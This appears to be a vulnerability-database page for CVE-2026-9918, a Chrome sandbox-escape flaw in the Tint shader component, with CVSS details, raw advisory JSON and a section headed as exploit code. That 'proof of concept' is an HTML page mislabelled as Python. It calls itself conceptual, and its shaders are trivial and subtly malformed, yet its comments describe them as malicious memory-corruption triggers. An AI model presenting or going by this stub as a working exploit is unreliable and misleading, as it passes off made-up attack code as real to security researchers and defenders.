Security Vulnerability Report
中文
CVE-2026-9918 CVSS 9.6 CRITICAL

CVE-2026-9918

Published: 2026-05-28 23:16:50
Last Modified: 2026-05-29 16:16:38

Description

Inappropriate implementation in Tint in Google Chrome prior to 148.0.7778.216 allowed a remote attacker to potentially perform a sandbox escape via a crafted HTML page. (Chromium security severity: High)

CVSS Details

CVSS Score
9.6
Severity
CRITICAL
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

Google Chrome < 148.0.7778.216

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
<!-- PoC for CVE-2026-9918 (Conceptual) This HTML page attempts to trigger the Tint implementation issue. Open in a vulnerable Chrome version (< 148.0.7778.216). --> <html> <head> <title>CVE-2026-9918 PoC</title> </head> <body> <script> function triggerVulnerability() { console.log("Attempting to trigger Tint component bug..."); try { // Setup canvas context that interacts with Tint const canvas = document.createElement('canvas'); const gl = canvas.getContext('webgl2'); if (!gl) { console.log("WebGL2 not supported."); return; } // Crafted shader data to exploit the implementation issue // Specific shader syntax would depend on the exact bug in Tint const vertexShaderSource = ` // Malicious shader syntax targeting Tint parser #version 300 es void main() { gl_Position = vec4(0.0, 0.0, 0.0, 1.0); } `; const fragmentShaderSource = ` // Fragment shader designed to trigger memory corruption #version 300 es precision mediump float; out vec4 color; void main() { color = vec4(1.0, 0.0, 0.0, 1.0); } `; const vs = gl.createShader(gl.VERTEX_SHADER); gl.shaderSource(vs, vertexShaderSource); gl.compileShader(vs); const fs = gl.createShader(gl.FRAGMENT_SHADER); gl.shaderSource(fs, fragmentShaderSource); gl.compileShader(fs); const program = gl.createProgram(); gl.attachShader(program, vs); gl.attachShader(program, fs); gl.linkProgram(program); gl.useProgram(program); // Trigger draw call to execute the vulnerable path gl.drawArrays(gl.TRIANGLES, 0, 3); console.log("Shader executed. Check for renderer crash or escape."); } catch (e) { console.error("Exception caught: " + e.message); } } window.onload = triggerVulnerability; </script> <h1>CVE-2026-9918 Proof of Concept</h1> <p>If the browser is vulnerable, the renderer may crash or escape the sandbox.</p> </body> </html>

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-9918", "sourceIdentifier": "[email protected]", "published": "2026-05-28T23:16:49.897", "lastModified": "2026-05-29T16:16:37.770", "vulnStatus": "Undergoing Analysis", "cveTags": [], "descriptions": [{"lang": "en", "value": "Inappropriate implementation in Tint in Google Chrome prior to 148.0.7778.216 allowed a remote attacker to potentially perform a sandbox escape via a crafted HTML page. (Chromium security severity: High)"}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H", "baseScore": 9.6, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 6.0}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-269"}]}], "references": [{"url": "https://chromereleases.googleblog.com/2026/05/stable-channel-update-for-desktop_0877304591.html", "source": "[email protected]"}, {"url": "https://issues.chromium.org/issues/500099471", "source": "[email protected]"}]}}